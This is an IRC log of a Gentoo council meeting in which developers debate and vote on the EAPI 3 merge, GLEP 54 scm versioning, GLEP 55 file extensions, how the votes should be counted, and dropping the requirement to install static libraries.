+20:21 < ciaranm> the council has said "there will be a default src_install". it has not approved what that is, so anyone writing implementations or test cases is wasting their time.
+20:21 < ssuominen> docompress should have "exclude" flags as dohtml has..
+20:21 <@leio> I wasn't aware that we didn't consider all the details while voting last time
+20:21 < ssuominen> (it might already have?)
+20:21 < ulm> ssuominen: what do you mean by exclude flags
+20:21 <@dev-zero> leio: we discussed the stuff which people didn't agree up on
+20:21 -!- yngwin [n=yngwin@gentoo/developer/yngwin] has joined #gentoo-council
+20:21 < ulm> ssuominen: there's docompress -x
+20:22 < ciaranm> ssuominen: thanks for doing your homework and reading the pms draft and raising your questions before the meeting
+20:22 <@dev-zero> leio: so I think we were clear about the features
+20:22 <@dev-zero> leio: and we surely don't have the time to nitpick about every single detail, that's the reason why stuff got posted on the ml
+20:22 < ssuominen> ulm: lets's say econf --docdir=/usr/share/doc/${PF} installs the docs into the directory, but one of them is a .pdf file used directly runtime from the program, or a manual.txt that's invoked from the application
+20:22 <@leio> ssuominen seems to mean file exclusion as opposed to directory exclusion
+20:23 < ciaranm> ssuominen: what part of the things that are in pms to handle that case are no good for you?
+20:23 < ulm> ssuominen: then you can call docompress -x .../manual.txt
+20:24 < igli> what's wrong with: emake install prefix=/usr sysconfdir=/etc docdir=/usr/share/doc mandir=/usr/share/man # or the equiv (specced by someone who knows autotools a bit better than I do obviously;)
+20:24 < ssuominen> ciaranm, ulm: awesome. missed that part, i've had only few hours to get myself familiar with it. sorry.
+20:24 < ssuominen> that works for me.
+20:25 -!- tomaw [i=tom@freenode/staff/tomaw] has quit ["Quit"]
+20:25 <@dev-zero> ok, are there any objections to the wording of certain parts?
+20:25 <@leio> src_install was quite much nitpicked and details hammered down. Even dodoc already doing an empty file check and src_install doing it too was brought up (and concluded the extra doesn't hurt in case dodoc changes in some way or something). Anyway, I have already voted on the features in detail, so you can just take my last vote if wanting it like that again
+20:25 -!- tomaw [i=tom@freenode/staff/tomaw] has joined #gentoo-council
+20:26 <@leio> so, no objections, unless something has been changed in the wordings of the features that were voted in, as I did not know to review all the text in detail of the latest branch version
+20:26 <@dev-zero> leio: on the ml, yes
+20:27 <@leio> src_install was discussed in the meeting, I'm quite sure, but whatever :)
+20:27 < ciaranm> i didn't ever get a definitive answer to a whole bunch of wording questions, so i arbitrarily picked things. i assume that anyone who has a problem with any of those choices would have raised their queries in the past two weeks.
+20:27 < igli> assumptions: mother of all fsck-ups.
+20:28 <@dev-zero> good
+20:28 < ciaranm> so really, approving a merge of the eapi 3 branch to the gentoo-hosted master shouldn't be a big deal, should it?
+20:28 <@Betelgeuse> ciaranm: If that's what you need approval I have no problem with that
+20:29 <@lu_zero> same here
+20:29 <@leio> I must have missed some e-mails then, and my -dev folder is with an unusually small unread count
+20:29 <@Betelgeuse> ciaranm: The council approved tagging should imho wait until Portage gets up to speed
+20:29 < ulm> ok with me too
+20:29 <@dev-zero> so, do we need to vote or can we say that all people here agree that the wording of eapi-3 as it has been presented is ok?
+20:29 <@leio> I approve merging to master without tagging
+20:29  * lu_zero seconds leio
+20:29 <@Betelgeuse> There's four so it passes
+20:29 < ciaranm> tagging's the sign for "stick stuff in the tree using it", which we probably shouldn't do just yet...
+20:29 < ciaranm> ok, merged. ta.
+20:30  * ulm seconds it too
+20:30 <@dev-zero> fine
+20:30 <@dev-zero> next topic then
+20:30 <@dev-zero> GLEP 54
+20:30 < solar> again?
+20:30 <@dev-zero> jup
+20:30 < solar> kill it. Nobody wants it
+20:31 <@dev-zero> solar: are you proxying someone?
+20:31 <@Betelgeuse> solar: please contribute something useful or shut up
+20:31 < solar> I'm a dev. I think I have a right to speak
+20:31 -!- nirbheek [n=nirbheek@gentoo/developer/nirbheek] has quit [Read error: 110 (Connection timed out)]
+20:31 <@Betelgeuse> Indeed. We don't have to listen though.
+20:31 <@lu_zero> solar I think somebody could disagree with you
+20:31 < igli> it's much better done as a prefix
+20:31 < ssuominen> If live ebuilds would be marken with something special, like suffix or a PROPERTIES="" in the ebuilds it would be easier to package manager to identify them
+20:32 < igli> or indeed a property yeah
+20:32 <@Betelgeuse> Wasn't PROPERTIES="live" already approved?
+20:32 < ciaranm> PROPERTIES=live is unrelated to version ordering
+20:32 <@Betelgeuse> ciaranm: sure just said to ssuominen
+20:32 < igli> is -scm a binary indicator or not?
+20:32 < igli> leaving aside repo
+20:33 < ciaranm> -scm's an ordering thing
+20:33 <@dev-zero> lu_zero: you once said you'd update your counter glep, is there anything new there?
+20:33 < igli> i know its implications, but in data terms it's a binary value
+20:33 <@lu_zero> dev-zero in the devspace there is the updated one
+20:33 <@dev-zero> lu_zero: what has been changed since last time we discussed it?
+20:34 <@leio> was there really nothing in GLEP54 to updated after all the discussions? If the discussions explain things in more detail, those things ought to get into the GLEP text as well
+20:34 < igli> LIVE="foo" # (or SOME_LONG_VAR_THAT_MEANS_LIVE) if you want more flexibility
+20:34 < ssuominen> As for GLEP 54's part "Motivation", if there is/will be PROPERTIES for them it pretty much covers the motivation already
+20:34 < ssuominen> Can't just see any other benefits
+20:35 < ciaranm> the other benefit is ordering
+20:35 <@lu_zero> dev-zero I think it is more or less the same
+20:35 <@dev-zero> lu_zero: ok, thanks
+20:35 < igli> which the pkg-mangler knows about when considering the ordering in resolution, one would hope.
+20:35 <@lu_zero> the glep54 didn't see any update since the inception I guess
+20:35 <@dev-zero> lu_zero: that's correct
+20:35 <@Betelgeuse> ssuominen: You can more easily make scm version for branches etc
+20:36 <@lu_zero> Betelgeuse not branches
+20:36 <@lu_zero> one kind of version branches
+20:36 < ciaranm> topic branches aren't versions and shouldn't be treated as such
+20:36 < ulm> lu_zero: your counterproposal is the one in http://dev.gentoo.org/~lu_zero/glep/liveebuild.rst ?
+20:36 <@lu_zero> ciaranm target branches are version branches...
+20:36 <@lu_zero> ulm yup
+20:36 < igli> if it has to be in filename, that can be done with prefix as well. but I remain unconvinced it needs to be exposed in the filename
+20:36 < ciaranm> lu_zero: scm works for target branches
+20:37 <@leio> I'd hope to see a complete proposal that actually solves more things. The ordering works fine even with 9999, so right now all that -scm is is pretty much giving a name to that ugly 9999 construct and not solving anything else
+20:37 < ciaranm> lu_zero's counterproposal is unimplementable, in any case. -scm has a reference implementation in paludis.
+20:37 <@lu_zero> ciaranm unimplementable as in you cannot make it?
+20:37 <@dev-zero> lu_zero, ciaranm: stop that right now
+20:37 < ciaranm> lu_zero: no, unimplementable as in it's impossible to implement
+20:37 < igli> oh it's in paludis, it has to go in. I forgot.
+20:37 < bonsaikitten> igli: silence!
+20:38  * igli stfu
+20:38 <@dev-zero> lu_zero: does it still stand that your proposal could be implemented on top of G54? (since it's described as an expansion)
+20:38 < igli> what if it's cleaner implemented another way tho?
+20:39 <@lu_zero> dev-zero it diverged enough
+20:39 < scarabeus> i like lu_zeros glep more, and it would be greatly utilized by mesa/drm for example (take look on live ebuilds in overlay how i allow the branching now)
+20:39 < ssuominen> Betelgeuse: You mean grabbing the branch from the version into ebuild, instead of defining the branch in a variable inside the ebuild?
+20:39 <@dev-zero> I guess we have to vote about G54 to get it off the table, is that correct?
+20:39 <@lu_zero> it aims to solve glep54 pointed issue and some more that cropped up
+20:40 <@Betelgeuse> ssuominen: I mean if you want both 2.2 official release and then a live ebuild for 2.2 branch
+20:40 < ciaranm> with lu_zero's glep you can't set use flags just for live packages using package.use without breaking emerge -N. how can people like that?
+20:40 <@leio> I like many of the things lu_zero's glep would allow to do, and would like to see that explored more
+20:41 <@Betelgeuse> I don't want 54 in without 55 so I would rather do that first.
+20:41 < ssuominen> Betelgeuse: 2.2 < 2.2-scm
+20:41 <@Betelgeuse> ssuominen: yes
+20:42 < igli> I'm sure portage team can fix emerge, if the need arises. but that proposal still does it as yaf suffix when that space is already quite crowded with patch data.
+20:42 < ssuominen> Betelgeuse: 2.2 < 2.2.9999.. but I don't mind, if we change to more pretty and constant -scm.
+20:42 < igli> better to shove it in same place as debian put their epochs imo.
+20:42 < ssuominen> So I'm for the glep.
+20:42 <@dev-zero> lu_zero: do you think you could provide a reference implementation of your proposal?
+20:43 <@lu_zero> dev-zero no
+20:43 <@lu_zero> first I wanted to see if there were enough interest
+20:43 <@dev-zero> lu_zero: there is surely interest, otherwise G54 would have voted in a long time ago
+20:43 <@Betelgeuse> dev-zero: We have never really voted in it
+20:43 <@Betelgeuse> dev-zero: Just post poned it
+20:43 <@lu_zero> dev-zero see solar reply before
+20:44 <@Betelgeuse> At least as far as I remember
+20:44 <@dev-zero> Betelgeuse: that's true, but we postponed it since we thought other solutions would show up, better explanations given, etc.
+20:44 <@lu_zero> and it got postponed since the glep wasn't detailed enough
+20:44 <@Betelgeuse> dev-zero: No. Mainly because it's controversial so it's easier to push later based on those arguments.
+20:45 < ciaranm> last time it got postponed was because lu_zero said he had an alternative
+20:45 <@dev-zero> Betelgeuse: also true
+20:45 <@dev-zero> well, then I think we should put it to a vote to get it off the table at last
+20:45 <@lu_zero> and seems people like the possibility to have both _plive and _prelive ...
+20:45 <@Betelgeuse> I propose the following. This is stuff that belongs to PMS. If GLEP 55 is approved, this can be put to list for EAPI 4.
+20:45 <@leio> I do not see any relevance to EAPI's here
+20:46 <@dev-zero> Betelgeuse: the relevance to EAPIs may be true
+20:46 < ssuominen> What about _r as in revision to reuse it in the ebuild
+20:46 <@dev-zero> Betelgeuse: but not the one to G55
+20:46 <@Betelgeuse> dev-zero: You can't do 54 without breakage unless you do 55 too
+20:46 <@dev-zero> Betelgeuse: if G55 gets accepted the people can start using it faster
+20:46 -!- Thargor [n=quassel@unaffiliated/thargor] has quit [Read error: 110 (Connection timed out)]
+20:46 < ssuominen> _r should be > _p
+20:46 <@dev-zero> Betelgeuse: otherwise they have to wait at least 6 months
+20:46 <@leio> Betelgeuse: you can
+20:46 <@Betelgeuse> I hate the wait way when we have a better way these days.
+20:47 <@leio> why would it have to wait 6 months?
+20:47 <@dev-zero> Betelgeuse: that's true and can be prevented
+20:47 -!- reavertm [n=reavertm@gentoo/contributor/reavertm] has quit [Read error: 104 (Connection reset by peer)]
+20:47 -!- reavertm [n=reavertm@ary193.neoplus.adsl.tpnet.pl] has joined #gentoo-council
+20:47 <@dev-zero> leio: because of portage moaning about unknown version tags
+20:47 <@Betelgeuse> Can we just vote on the following: Approve GLEP 54 on the condition that 55 is approved and move it to PMS instead for next EAPI instead of being a separate GLEP.
+20:47 <@leio> because it has a reason to moan
+20:47 <@Betelgeuse> I want to see this stuff being centralised.
+20:48 <@Betelgeuse> I obviosly vote yes.
+20:48 <@leio> the user hasn't bothered to upgrade portage despite strong suggestions in the form of messages after syncing AND the moaning about invalid version tags
+20:48 < ciaranm> there's already wording for scm stuff in pms if you enable the kdebuild bits, if anyone's worried about whether it'll fit in that way
+20:48 < ciaranm> so what Betelgeuse makes sense from a pms perspective
+20:48 < bonsaikitten> le sigh!
+20:49 <@dev-zero> Betelgeuse: and what happens if G55 is not approved?
+20:49 <@leio> the warnings I see as a good thing. Developers also will notice it and not regenerate manifests with a portage that doesn't know this versioning
+20:49 <@Betelgeuse> Please vote so we can see where you stand.
+20:49 < solar> vote of no confidence?
+20:49 <@Betelgeuse> solar: not on the agenda
+20:49 <+tanderson> wait, I thought the meeting was at 5:00 EST?
+20:49 <@Betelgeuse> tanderson: 20UTC like always
+20:50 <@dev-zero> I vote yes, in case G55 is accepted do it like Betelgeuse said, in case G55 is not accepted keep it as GLEP and implement it
+20:50 <@Betelgeuse> dev-zero: A new vote on what do to instead.
+20:50 <+tanderson> Betelgeuse: oops, sorry
+20:50 <@lu_zero> I'd like to know how many would like to have the live templates implemented
+20:50 <@leio> I do not see how we can vote on it like that, it seems weird
+20:50 <@leio> lu_zero: I would like to see an implementation and further investigation of this
+20:51 <@Betelgeuse> leio: If my proposal is approved then we can just move on. If not then we need to talk what else.
+20:51 < ulm> i vote yes (as specifically instructed by dertobi123, not my personal opinion though)
+20:51 <@dev-zero> I vote yes
+20:51 <@lu_zero> I vote no
+20:51 <@leio> ok, so what are we voting here?
+20:51 <@Betelgeuse> 20:47 <@Betelgeuse> Can we just vote on the following: Approve GLEP 54 on the condition that 55 is approved and move it to PMS instead for next EAPI instead of being a separate GLEP.
+20:52 < solar> thanks lu_zero
+20:52 <@Betelgeuse> ssuominen: your vote please
+20:52 <@leio> I vote no. It is a) not fleshed out, no updates at all after discussions, I can not vote with an approval on this; b) it is not an EAPI or PMS thing
+20:53 < ciaranm> of course it's an EAPI / PMS thing
+20:53 <@Betelgeuse> indeed
+20:53 < igli> it's just a pig, is all.
+20:53 < ssuominen> sec
+20:53 <@leio> sorry, I meant just EAPI.
+20:53 <@Betelgeuse> leio: the versioning rules are EAPI 0
+20:53 <@Betelgeuse> leio: This is an extension to those
+20:53 < ssuominen> vote is yes
+20:54 <@Betelgeuse> Ok vote passed.
+20:54 <@leio> So we are going to modify EAPI 0?
+20:54 <@Betelgeuse> leio: no
+20:54 <@Betelgeuse> leio: My proposal puts it to next EAPI and it passed
+20:54 < ssuominen> yes, with the condition Betelgeuse said
+20:54 <@leio> how can that work, versioning rules are across the board. Would all revisions of a package have to be upgraded to that new EAPI first?
+20:54 < ulm> Betelgeuse: how can version ordering be part of an eapi?
+20:55 < ciaranm> ulm: quite easily
+20:55 <@lu_zero> leio the vote was about having 54 approved if 55 passes
+20:55 < ulm> but you may compare ebuild with different eapis
+20:55 < igli> just like it can be non-bash (yay)
+20:55 <@Betelgeuse> ulm: You don't want PMs to handle it the same way
+20:55 <@Betelgeuse> ?
+20:55 < ciaranm> you define version comparisons in terms of a super-version-format of which every other eapi is a subset
+20:55 -!- darkside_ [n=darkside@gentoo/developer/darkside] has left #gentoo-council []
+20:56 < igli> even the eapi's you don't know about which can't cope with EAPI='foo'
+20:56 <@Betelgeuse> igli: If you don't know about EAPI 4 you don't see scm ebuilds at all
+20:56 < igli> scheme?
+20:56 < igli> I love scheme
+20:56 < igli> i think you mean VCS
+20:56 < ciaranm> sorry, gentoo standardised on 'scm' by order of seemant about five years ago
+20:57 < ssuominen> can we move on?
+20:57 <@dev-zero> jup
+20:57 <@Betelgeuse> I have exams tomorrow morning so I would rather stop at this one hour mark because I need study.
+20:57 < ulm> igli: the scheme team has already announced that there will be a dev-scheme/scm-scm if glep 54 is approved :p
+20:57 < igli> sure; diktat from on-high seems order of the day.
+20:57 -!- igli [n=igli@fu/coder/igli] has left #gentoo-council ["Have a good one ;-)"]
+20:57 < solar> yeah enough fucking up for one day
+20:57 <@dev-zero> Betelgeuse: do you think we could stretch it for the next item?
+20:57 <@Betelgeuse> I expect a lengthy discussion coming unless we just vote.
+20:57 <@dev-zero> Betelgeuse: then let's do just that
+20:58 < bonsaikitten> what the ... why are we discussing eapi4 and later when eapi3 isn't even out
+20:58 <@dev-zero> because the discussion could be going on forever
+20:58 <@dev-zero> bonsaikitten: please, you can flame away in 5-10 minutes
+20:58 <@dev-zero> ok, next topic and the last one for today: GLEP 55
+20:58 <@Betelgeuse> For GLEP 55 I propose: Approve it and I will start a project to redesign the tree where it will be moved back inside .ebuild
+20:58 <@Betelgeuse> There's plenty of stuff we want to solve with a redesign
+20:59 < ulm> dev-zero: tobias wanted to see the benchmarks (promised long time ago) for glep 55
+20:59 <@Betelgeuse> can't promise anyhting delivered any time soon
+20:59 <@dev-zero> ulm: I know, he told me, I don't think there are any (at least not published)
+20:59 <@leio> There is no need for GLEP55
+20:59 <@Betelgeuse> But in the time it takes for the extensions to blow out of proportion we should have something
+20:59 <@leio> It doesn't solve anything
+20:59 < ciaranm> glep 55 is needed to get the recently approved glep 54 usable in EAPI 4 timeframes
+20:59 <@Betelgeuse> leio: Then we will never have the need to use a new extension
+20:59 <@lu_zero> ciaranm glep 54 isn't approved
+20:59 <@lu_zero> it has been linked to glep 55
+20:59 < NeddySeagoon> Betelgeuse, so why approve G55 then - just fix stuff properly ?
+21:00 < ulm> ciaranm: glep 54 was only conditionally approved
+21:00 <@leio> Betelgeuse: we don't have that need now either.
+21:00 < jmbsvicetto> ciaranm: That argument doesn't hold - GLEP54 was approved *pending* GLEP55 being approved
+21:00 <@Betelgeuse> NeddySeagoon: http://rafb.net/p/09PDiO25.html
+21:00 < jmbsvicetto> ciaranm: So you can't say GLEP55 need to be approved because GLEP54 was approved
+21:00 <@Betelgeuse> NeddySeagoon: It just seemed easier to just rethink
+21:00 <@Betelgeuse> NeddySeagoon: Easier to avoid breakage
+21:00 < bonsaikitten> sigh. why don't you stop for a minute and decide where you want to go before starting to run ...
+21:01 < NeddySeagoon> Betelgeuse, that does not answer my question ... how is that related to G55 ?
+21:01 <@leio> Instead of GLEP55 we simply need to say EAPI=<value> comes as the first non-comment within a certain set of lines. Done. G55 serves no purpose
+21:01 <@Betelgeuse> NeddySeagoon: Some people don't want to see us having ten different EAPI file extensions in use
+21:01 <@Betelgeuse> NeddySeagoon: My proposal would mean we would not use GLEP 55 for more than a couple
+21:01 <@leio> and when the next step plan is to have *.ebuild again, what's the point of changing that then
+21:01 <@Betelgeuse> NeddySeagoon: if any
+21:01 < jmbsvicetto> Betelgeuse: I don't see how most (any?) of those is related to GLEP55
+21:01 <@Betelgeuse> jmbsvicetto: Please ready what I said
+21:01 < NeddySeagoon> Betelgeuse, Yep. me too - its bad system design.  So kill G55
+21:02 <@Betelgeuse> s/ready/read/
+21:02 <@dev-zero> ok, council members, please state your votes
+21:02 < NeddySeagoon> Betelgeuse, there is nothing so permanent as a temprory fix
+21:02 <@dev-zero> otherwise it will never end, sorry
+21:02 < jmbsvicetto> Betelgeuse: So you want it for a "transition" phase?
+21:02 <@Betelgeuse> I vote yes (with the final extension format to be decided later)
+21:02 <@leio> We are not in a hurry
+21:02 <@dev-zero> I vote yes
+21:03 <@Betelgeuse> .eb vs .ebuild-<eapi>  I think
+21:03 < ssuominen> Don't see any harm in it, so I vote yes as well.
+21:03 <@leio> why are we bringing this up again within one meeting timeframe and try to get votes out of council members who need to review it more. Have you all even been able to read the last e-mail about it, especially bonsaikitten ones?
+21:03 <@Betelgeuse> GLEP 55 will never be utilised without a new EAPI any way
+21:03 <@Betelgeuse> which we need to vote on
+21:03 < NeddySeagoon> Betelgeuse no hurry for G55 at all then
+21:04 <@Betelgeuse> leio: Finally voting it even if controversial will allow people to put their energy to something more useful
+21:04 <@Betelgeuse> Which is a good reason for voting in itself
+21:04 <@lu_zero> I vote no
+21:04 < ulm> i vote no
+21:04 <@leio> Betelgeuse: and we end up with something bad voted in because people were uninformed. Sounds very useful
+21:04 < NeddySeagoon> Betelgeuse, This vote looks like UK MPs voting their expenses
+21:04 <@Betelgeuse> leio: Some of us don't htink it's bad.
+21:04 < ciaranm> don't worry, there's nothing informative in bonsaikitten's recent email
+21:05 < bonsaikitten> ciaranm: I don't think you're qualified to say that
+21:05 < bonsaikitten> you didn't even understand it ...
+21:05 < ahf> bonsaikitten: go rant somewhere else
+21:05 < solar> he is a dev. He is allowed to voice his concerns here
+21:05 < NeddySeagoon> bonsaikitten, hes qualified, just not impartial as he has a vested interest
+21:05 <@leio> The first two e-mails of bonsaikitten were very informative
+21:05 < jmbsvicetto> Can we please leave the "pleasentries" for somewhere else? Thanks
+21:06 < ciaranm> leio: no, they were very wrong
+21:06 < yngwin> so far i counted 2 yes and 2 no votes
+21:06 < jmbsvicetto> yngwin: 3 yes and 2 no
+21:06 <@Betelgeuse> yngwin: 3 times yes
+21:06 <@Betelgeuse> Nothing from leio I think
+21:06 < scarabeus> 3 yes 2 noes by mine counting
+21:06 < yngwin> ok
+21:06 <@Betelgeuse> leio: So what do you vote?
+21:07 <@leio> I do not see voting being the correct action here, for the record
+21:07 <@leio> I vote no
+21:07 <@dev-zero> and Cardoe wrote in his mail that he's against it
+21:07 <+tanderson> nice, a tie
+21:07 <+tanderson> oh, not a tie
+21:07 <@Betelgeuse> Will have to wait until next time then.
+21:07 < solar> nope
+21:08 < NeddySeagoon> its voted down
+21:08 < ulm> Betelgeuse: 3 yes 4 no?
+21:08 < ssuominen> Please clarify which we are really voting for, for me it seems very vague..
+21:08 < ciaranm> Cardoe hasn't voted
+21:08 < ssuominen> or me
+21:08 < jmbsvicetto> Betelgeuse: iirc, the rules are that any vote without a majority is a no vote
+21:08 <+tanderson> ssuominen: GLEP 55 I think
+21:08 < ulm> ciaranm: <dev-zero> and Cardoe wrote in his mail that he's against it
+21:08 <@leio> the e-mail was private
+21:08 < ciaranm> ulm: that's not a vote
+21:08 <@Betelgeuse> I don't see us counting private mails like that.
+21:08 <@dev-zero> no
+21:08 < ulm> ciaranm: you're right i guess
+21:09 <@dev-zero> so we'll see it next time again
+21:09 < jmbsvicetto> ulm: it doesn't matter. What counts are the votes here - a miniumum of 4 votes is required for a motion to pass
+21:09 <@Betelgeuse> "Council decisions are by majority vote of those who show up (or their proxies)."
+21:09 <@leio> lets say we know cardoe's opinion of it, but it's not a vote
+21:09 < NeddySeagoon> Its still an overall no, as there was no majority
+21:09 <@Betelgeuse> There's no majority either way.
+21:09 <@dev-zero> leio: exactly
+21:09 <@Betelgeuse> So there's no decision either.
+21:09 < ssuominen> I vote no for GLEP 55 as it is put now.
+21:09 < solar> that is some BS. You call for a vote. Don't like the results. And then declare there is no decision?
+21:09 <@Betelgeuse> ssuominen: s/vote/change your vote/?
+21:09 < ssuominen> As for the other ideas -part it leaves too many options open to give a vote on it.
+21:10 < solar> you are serious? really?
+21:10 <@Betelgeuse> solar: it was a tie
+21:10 <@Betelgeuse> solar: Where does it say a tie means no decision?
+21:10 < yngwin> so it is rejected
+21:10 <@Betelgeuse> Now it's rejected as ssuominen changed votes.
+21:10 < ssuominen> I voted yes for 54 if 55 gets approved, and no for 55 since it's not specific enough, specially the parts suggesting se different subdirectories for different EAPIs, i.e. cat/pkg/eapiX/
+21:10 < ssuominen> It needs to be more clear
+21:10 < ciaranm> ssuominen: uh, 55 isn't proposing that
+21:11 <@Betelgeuse> ssuominen: That's just a bad alternative
+21:11 <+tanderson> ssuominen: 55 is saying that that's not a good idea
+21:11 < NeddySeagoon> So when does the vote end ?
+21:11 <@lu_zero> are we going to have petitioning about glep55 till next morning?
+21:11 <+tanderson> NeddySeagoon: when I say that I'm Cardoe's proxy? (I'm not) :P
+21:12 < ssuominen> well the other ideas is confusing, but if that's not really going in [in] anyway, then yes
+21:12 < ssuominen> "other ideas" in the glep
+21:12 <@Betelgeuse> ssuominen: Yes that's just to list other ideas proposed and why they are bad
+21:12 <@lu_zero> ssuominen what donnie said in the email?
+21:12 <@Betelgeuse> lu_zero: To use his judgement
+21:12 < NeddySeagoon> ssuominen, how can you vote in favour of somethiing you clearly don't understand
+21:13 <@dev-zero> NeddySeagoon: and how can he vote against?
+21:13 < ssuominen> NeddySeagoon: I do understand, The GLEP imho is not clear enough.
+21:13 <@Betelgeuse> Any way we need to vote again next time as there was no decision this time.
+21:13 <@Betelgeuse> Next item
+21:13 < bonsaikitten> LOL
+21:13 < ssuominen> NeddySeagoon: The GLEP expects you to have read a mile long thread.
+21:13 < NeddySeagoon> ssuominen, IF you understood it, you would not be changing your vote
+21:13 <@lu_zero> ssuominen the problem is that glep shouldn't require that
+21:14 <@lu_zero> (one of the problems)
+21:14 <@dev-zero> Betelgeuse: since there was a tie at the beginning and now it changed to something else I'd say we retake the vote
+21:14 <@leio> therefore the GLEP needs to be edited to make it so that a mile long thread doesn't need to be read before it can be considered to be approved
+21:14 <@dev-zero> Betelgeuse: do you think we can continue or should we stop here?
+21:14 <@lu_zero> and that was requested the first time it was proposed.
+21:14 < ssuominen> a glep should be a full spec. of the proposed change, not some random quoting tablet.
+21:14 <@Betelgeuse> dev-zero: I consider vote 3-3 and in GLEP 39 terms it means there's no decision either way
+21:14 < ssuominen> tech. doc
+21:15 <@dev-zero> Betelgeuse: good, also my point
+21:15 <@lu_zero> ssuominen that's what I requested many times.
+21:15 <@Betelgeuse> dev-zero: So I would put to agenda next time with hopefully 7 here
+21:15 <@Betelgeuse> There's time to flame in between
+21:15 <@dev-zero> Betelgeuse: good, will do that
+21:15 <@dev-zero> ok, topic is closed
+21:15 <@lu_zero> could we quickly stamp static libs?
+21:15 < reavertm> according to GLEP1, this voted glep status could be changed to "Deferred" as no progress has been made on that glep (if not "Rejected") - I mean, if there's no resolution after so long time, maybe it should be reedited, as some people already raised points, that it's not well specified.
+21:16 <@dev-zero> reavertm: topic closed, please post on ml, sorry
+21:16 <@Betelgeuse> reavertm: There's no resolution because this was the first time the council actually voted on it
+21:16 < ssuominen> i'd say normal default should be static libs disabled, but add USE="static-libs" to those ebuilds where they are needed
+21:17 <@dev-zero> ssuominen: no ebuild "needs" to disable static libs
+21:17 -!- hkBst [n=hkBst@gentoo/developer/hkbst] has quit [Read error: 104 (Connection reset by peer)]
+21:17 <@leio> or unconditionally enable where they are needed, such as those mythical system things that are told to break things if their .a gets filtered out with INSTALL_MASK
+21:17 < jmbsvicetto> Betelgeuse / dev-zero: I disagree with your reading of GLEP39. The "Council decisions are by majority vote of those who show up (or their proxies)" in my reading means any motion that doesn't have a majority is by definition turned down
+21:17 < ssuominen> dev-zero: only wrt installing performance, many ebuilds in tree does this already
+21:17 <@leio> We explicitly disable static libraries with no USE flag option in most GNOME packages for good maintainer decided reasons
+21:18 <@Betelgeuse> jmbsvicetto: Well turned down or not, we can always put it to vote next time if we want to
+21:18 < fmccor|home> jmbsvicetto, No, that says "no decision"
+21:18 < fmccor|home> jmbsvicetto, Because a vote to turn down is a decision, too.
+21:18 <@leio> However we are about to add IUSE=static-libs to a few where users reasonably might have a potential use for static libraries, this iis basically C++ and glib (for prefix=/ usages)
+21:19 < fmccor|home> jmbsvicetto, So you would need a majority "no"
+21:19 < yngwin> there is a majority no
+21:19 <@leio> I have never understood where this "ebuild must always install static libraries when available" "rule" comes from. Have seen it nowhere written down or explained
+21:19 < ciaranm> leio: it comes from solar
+21:19 <@lu_zero> solar really?
+21:19 < ssuominen> leio: Me either, not needed for running, longer building time
+21:20 < ssuominen> Should be "Only install shared libs, unless there is a real reason to add USE="static-libs" to control it."
+21:20 <@leio> e.g, if you enable static libs in gtk+ and use them, you are just crazy and don't know what you are doing
+21:21 < jmbsvicetto> leio: Qt/KDE would also be fun
+21:21 <@dev-zero> so, should we put it like that "install shared libs only per default unless there is a reason and let users request USE=static-libs to control it" ?
+21:21 <@dev-zero> ... if needed
+21:22 < ssuominen> dev-zero: exactly
+21:22 <@lu_zero> sounds ok
+21:22 <@leio> yup. Could use some wording touch-up though
+21:22 < ciaranm> you're wanting every ebuild to start doing econf --disable-static?
+21:22 < ssuominen> ciaranm: yes, unless $(use_enable static-libs static) is requested.
+21:23 <@leio> I see the supposed policy of always having to install static libraries as the problem
+21:23 < ssuominen> or plain needed.
+21:23 < ciaranm> my point was more "every ebuild", for some value of "every", tends to smell like a "shove it in the next EAPI" thing rather than forcing everyone to write their own src_configure
+21:23 <@leio> I think maintainers can decide on that fully well themselves
+21:23 < ulm> dev-zero: "install shared libs ..."? s/shared/static/?
+21:23 <@leio> if they decide to keep it, I can live with that and work as a user and developer in convincing with technical arguments
+21:23 < ciaranm> make EAPI 4 do src_configure() { if hasq "static-libs" $IUSE ; then econf $(use_enable static-libs static ) ; else econf ; fi }
+21:24 <@Betelgeuse> I would see it cleaner to allow dropping statis libs now and wait for EAPI 4 having --disable-static by default
+21:24 <@dev-zero> ulm: no :) bad wording: "install only shared libs per default"
+21:24 < ssuominen> leio: Indeed, no doubt about that. I bet both Gnome and Xfce4 can all do --disable-static and we'll hear no complaints.
+21:24 < ulm> dev-zero: o.k. ;)
+21:24 <@leio> we've only had reasonable technical complaints
+21:24 <@leio> a) C++ bindings, users fear that libstdc++ will break ABI again, so they want that part statically linked
+21:24 < reavertm> why not just make it some eclass feature? why involve eapi here?
+21:25 <@leio> b) glib, because some things in prefix=/ (as opposed to /usr) might want to use it
+21:25 < ciaranm> reavertm: because otherwise no-one can use the default src_configure
+21:25 < ciaranm> reavertm: also because otherwise there's no obvious way which ebuilds have been updated
+21:25 < ciaranm> ...to tell which...
+21:25 < jmbsvicetto> About removing the static libs, does the prefix project have any objections to it?
+21:26 <@Betelgeuse> So let's vote on: It's now possible to drop static libs (with possible USE static-libs) and make it the default in EAPI 4.
+21:26 <@Betelgeuse> ^yes
+21:26 <@dev-zero> Betelgeuse: thanks :)
+21:26 <@dev-zero> yes
+21:26 <@leio> not like that
+21:26 < ulm> yes
+21:26 <@leio> lets vote on jsut dropping the requirement to ship static libraries or some such
+21:26 <@leio> and we vote on EAPI-4 stuff when we are actually dealing with EAPI-4
+21:26 < ciaranm> eh, eapi 3's merged. i can keep track of eapi 4 now.
+21:26 < ssuominen> i second that.. why pull the eapi4 into this?
+21:27 <@dev-zero> leio: uhm, that's what Betelgeuse proposed
+21:27 <@leio> he proposed to vote on making it the default in EAPI 4
+21:27 <@leio> it's not the time to vote on EAPI-4 items
+21:27 < ssuominen> Why does it need to be EAPI=4 bound?
+21:27 <@Betelgeuse> Well if I wasn't clear let's say put it as an item for EAPI 4.
+21:27 <@Betelgeuse> ssuominen: I don't really fancy mandating every putting --disable-static
+21:28 <@Betelgeuse> If people want to then sure
+21:28 < reavertm> btw, why add autotools specific configuration to eapi? there are other buildsystems as well, hence I see no valid reason to make exception for it
+21:28 <@leio> someone will make sure to propose it for EAPI-4. If no-one does, they don't find that useful
+21:28 < ciaranm> reavertm: uhm... it's already in there.
+21:28 <@Betelgeuse> reavertm: There's lots of autotootls specific stuff in default ./configure args
+21:28 < ciaranm> reavertm: econf and src_configure are already both highly autoconf-centric
+21:28 <@lu_zero> and that was stated again while discussing eapi3
+21:28 <+tanderson> emake also assumes DESTDIR=$D for eapi 3
+21:29 <@lu_zero> DESTDIR is more standard ^^
+21:29 <@dev-zero> can we have your votes please?
+21:29 <@leio> ok, so what are we voting on?
